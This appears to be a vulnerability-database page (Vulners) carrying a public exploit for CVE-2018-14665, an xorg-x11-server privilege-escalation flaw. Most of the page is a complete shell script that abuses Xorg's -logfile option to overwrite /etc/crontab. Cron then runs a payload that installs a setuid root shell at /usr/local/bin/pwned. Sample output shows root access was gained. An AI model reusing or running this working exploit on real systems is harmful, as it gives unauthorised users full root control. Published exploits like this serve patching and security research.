xorg-x11-server 1.20.3 Privilege Escalation via OpenBSD's cron. Flaw allows unprivileged users to run code under root privileges
Reporter | Title | Published | Views | Family All 112 |
---|---|---|---|---|
![]() | xorg-x11-server 1.20.3 (Solaris 11) - inittab Local Privilege Escalation | 14 Jan 201900:00 | – | exploitpack |
![]() | xorg-x11-server 1.20.1 - Local Privilege Escalation | 13 Nov 201800:00 | – | exploitpack |
![]() | xorg-x11-server 1.20.3 - Local Privilege Escalation | 25 Oct 201800:00 | – | exploitpack |
![]() | Xorg X11 Server (AIX) - Local Privilege Escalation | 4 Dec 201800:00 | – | exploitpack |
![]() | xorg-x11-server 1.20.3 - modulepath Local Privilege Escalation | 30 Nov 201800:00 | – | exploitpack |
![]() | openSUSE: Security Advisory for xorg-x11-server (openSUSE-SU-2018:3800-1) | 17 Nov 201800:00 | – | openvas |
![]() | Huawei EulerOS: Security Advisory for xorg-x11-server (EulerOS-SA-2019-2553) | 23 Jan 202000:00 | – | openvas |
![]() | Fedora Update for xorg-x11-server FEDORA-2018-4ab08fedd6 | 7 May 201900:00 | – | openvas |
![]() | Mageia: Security Advisory (MGASA-2018-0421) | 28 Jan 202200:00 | – | openvas |
![]() | Huawei EulerOS: Security Advisory for xorg-x11-server (EulerOS-SA-2019-2123) | 23 Jan 202000:00 | – | openvas |
# Exploit Title: xorg-x11-server 1.20.3 - Privilege Escalation
# Date: 2018-10-27
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.x.org/
# Version: xorg-x11-server 1.19.0 - 1.20.2
# Tested on: OpenBSD 6.3 and 6.4
# CVE : CVE-2018-14665
# raptor_xorgasm
#!/bin/sh
#
# raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron
# Copyright (c) 2018 Marco Ivaldi <[email protected]>
#
# A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission
# check for -modulepath and -logfile options when starting Xorg. X server
# allows unprivileged users with the ability to log in to the system via
# physical console to escalate their privileges and run arbitrary code under
# root privileges (CVE-2018-14665).
#
# This exploit targets OpenBSD's cron in order to escalate privileges to
# root on OpenBSD 6.3 and 6.4. You don't need to be connected to a physical
# console, it works perfectly on pseudo-terminals connected via SSH as well.
#
# See also:
# https://lists.x.org/archives/xorg-announce/2018-October/002927.html
# https://www.exploit-db.com/exploits/45697/
# https://gist.github.com/0x27/d8aae5de44ed385ff2a3d80196907850
#
# Usage:
# blobfish$ chmod +x raptor_xorgasm
# blobfish$ ./raptor_xorgasm
# [...]
# Be patient for a couple of minutes...
# [...]
# Don't forget to cleanup and run crontab -e to reload the crontab.
# -rw-r--r-- 1 root wheel 47327 Oct 27 14:48 /etc/crontab
# -rwsrwxrwx 1 root wheel 7417 Oct 27 14:50 /usr/local/bin/pwned
# blobfish# id
# uid=0(root) gid=0(wheel) groups=1000(raptor), 0(wheel)
#
# Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2):
# OpenBSD 6.4 (Xorg 1.19.6) [tested]
# OpenBSD 6.3 (Xorg 1.19.6) [tested]
#
echo "raptor_xorgasm - xorg-x11-server LPE via OpenBSD's cron"
echo "Copyright (c) 2018 Marco Ivaldi <[email protected]>"
# prepare the payload
cat << EOF > /tmp/xorgasm
cp /bin/sh /usr/local/bin/pwned # fallback in case gcc is not available
echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c
gcc /tmp/pwned.c -o /usr/local/bin/pwned # most dirs are mounted nosuid
chmod 4777 /usr/local/bin/pwned
EOF
chmod +x /tmp/xorgasm
# trigger the bug
cd /etc
Xorg -fp "* * * * * root /tmp/xorgasm" -logfile crontab :1 &
sleep 5
pkill Xorg
# run the setuid shell
echo
echo "Be patient for a couple of minutes..."
echo
sleep 120
echo
echo "Don't forget to cleanup and run crontab -e to reload the crontab."
ls -l /etc/crontab*
ls -l /usr/local/bin/pwned
/usr/local/bin/pwned
Transform Your Security Services
Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.
Book a live demo